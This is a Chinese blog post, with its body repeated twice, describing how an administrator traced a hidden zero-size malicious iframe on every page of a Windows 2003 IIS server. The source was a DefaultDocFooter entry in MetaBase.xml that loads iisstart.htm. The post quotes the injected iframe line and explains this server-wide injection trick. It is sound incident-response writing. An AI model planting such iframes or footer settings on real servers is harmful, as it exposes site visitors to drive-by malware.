处理WIN2003服务器IIS被挂马全过程(配置文件高级挂马)
2010-09-02 10:07
357 查看
By wuchaochao
一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒
打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
分析原因
首先怀疑ARP挂马,用防ARP的工具又没有发现有arp欺骗
而且arp欺骗一般不会每次都被插入代码,而是时有时无
而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码
arp欺骗的可能排除。
然后就想到可能是JS被篡改,或者是其它的包含文件,查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码,那就只能是通过IIS挂上去的了。
备份iis数据然后重装iis,代码消失,将备份的iis恢复,问题又来了。
仔细寻找,问题应该出在IIS的配置文件上,打开配置文件,没有发现那段代码。
那很有可能是调用了某个文件,这个怎么查啊,忽然想起了大名鼎鼎的Filemon
本地载了一个上传到服务器上,打开Filemon,数据太多了,过滤掉一些没有用的
只留下iis的进程,数据还是很多,看来服务器上的站点还是挺多人在访问的。
关掉所有站点,建了一个测试站点anky 目录为D:/www/ 在下面建了一个空白页面test.htm
访问一下这个页面代码被插进来了,再看一下Filemon 奇怪怎么读取C:/Inetpub/wwwroot/iisstart.htm
打开C:/Inetpub/wwwroot/iisstart.htm一看,里面就躺着
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
把代码删除了留空,访问test.htm 正常了,把C:/Inetpub/wwwroot/iisstart.htm删除了再访问
test.htm 出现 “读取数据页脚文件出错”问题就出这里了,看来是调用了
这个文件。
把C:/Inetpub/wwwroot/iisstart.htm清空就正常了,这样怎么行,解决问题当然要连根拔掉。
continue
有没有可能是扩展造成的,到扩展中检查了一遍全部都是正常的
当然 通过ISAPI 挂马的也是存在的
左想右想最后还是觉得配置文件有问题
打开配置文件,配置文件在%windir%/system32/inetsrv/MetaBase.xml
用记事本打开,查找iisstart.htm 找到一行,开始以为是默认站点,后来一想不对啊
默认站点都删除了,再仔细一看这句代码为
DefaultDocFooter="file:C:/Inetpub/wwwroot/iisstart.htm"
删除掉这一行,问题彻底解决了。
一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒
打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
分析原因
首先怀疑ARP挂马,用防ARP的工具又没有发现有arp欺骗
而且arp欺骗一般不会每次都被插入代码,而是时有时无
而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码
arp欺骗的可能排除。
然后就想到可能是JS被篡改,或者是其它的包含文件,查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码,那就只能是通过IIS挂上去的了。
备份iis数据然后重装iis,代码消失,将备份的iis恢复,问题又来了。
仔细寻找,问题应该出在IIS的配置文件上,打开配置文件,没有发现那段代码。
那很有可能是调用了某个文件,这个怎么查啊,忽然想起了大名鼎鼎的Filemon
本地载了一个上传到服务器上,打开Filemon,数据太多了,过滤掉一些没有用的
只留下iis的进程,数据还是很多,看来服务器上的站点还是挺多人在访问的。
关掉所有站点,建了一个测试站点anky 目录为D:/www/ 在下面建了一个空白页面test.htm
访问一下这个页面代码被插进来了,再看一下Filemon 奇怪怎么读取C:/Inetpub/wwwroot/iisstart.htm
打开C:/Inetpub/wwwroot/iisstart.htm一看,里面就躺着
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
把代码删除了留空,访问test.htm 正常了,把C:/Inetpub/wwwroot/iisstart.htm删除了再访问
test.htm 出现 “读取数据页脚文件出错”问题就出这里了,看来是调用了
这个文件。
把C:/Inetpub/wwwroot/iisstart.htm清空就正常了,这样怎么行,解决问题当然要连根拔掉。
continue
有没有可能是扩展造成的,到扩展中检查了一遍全部都是正常的
当然 通过ISAPI 挂马的也是存在的
左想右想最后还是觉得配置文件有问题
打开配置文件,配置文件在%windir%/system32/inetsrv/MetaBase.xml
用记事本打开,查找iisstart.htm 找到一行,开始以为是默认站点,后来一想不对啊
默认站点都删除了,再仔细一看这句代码为
DefaultDocFooter="file:C:/Inetpub/wwwroot/iisstart.htm"
删除掉这一行,问题彻底解决了。
相关文章推荐
- 处理WIN2003服务器IIS被挂马全过程
- 让WIN2003和2008服务器iis支持安卓应用.apk文件下载的配置方法
- Win2003 防木马、权限设置、IIS服务器安全配置整理
- Win2003防木马权限设置IIS服务器安全配置整理
- Win2003 防木马、权限设置、IIS服务器安全配置整理
- linux高级文件系统管理概述:处理交换分区、设置文件系统配额、配置raid和逻辑卷
- 配置IIS服务器,APK文件下载
- 配置IIS服务器,APK文件下载
- Win2003 防木马、权限设置、IIS服务器安全配置整理
- SPS安装过程中配置服务器场帐户设置页面不能正常显示以及IIS中SPS管理站点未配置成功问题的原因
- IIS7.5配置Asp.net项目出现HTTP 错误 404.17 - Not Found 请求的内容似乎是脚本,因而将无法由静态文件处理程序来处理。
- Win2003 防木马、权限设置、IIS服务器安全配置整理
- 【IIS服务器】必须在配置中注册 WebResource.axd 处理程序错误的解决方法
- svn使用过程中使用post-commit自动同步如果服务器文件变化怎么处理
- win2003下DHCP和文件服务群集cluster详细配置过程6
- IIS配置asp.net网站出现错误:请求的内容似乎是脚本,因而将无法由静态文件处理程序来处理
- Win2003与IIS服务器安全配置
- win2003IIS使用EXCEL导出功能之服务器配置
- IIS发布网站部分特殊配置--图片上传至别的服务器、iis配置 通配符应用程序映、iis配置 C#底层拦截.htm文件请求
- HTTP错误404.13 - Not Found 请求筛选模块被配置为拒绝超过请求内容长度的请求,原因是Web服务器上的请求筛选被配置为拒绝该请求,因为内容长度超过配置的值(IIS 7 默认文件上传大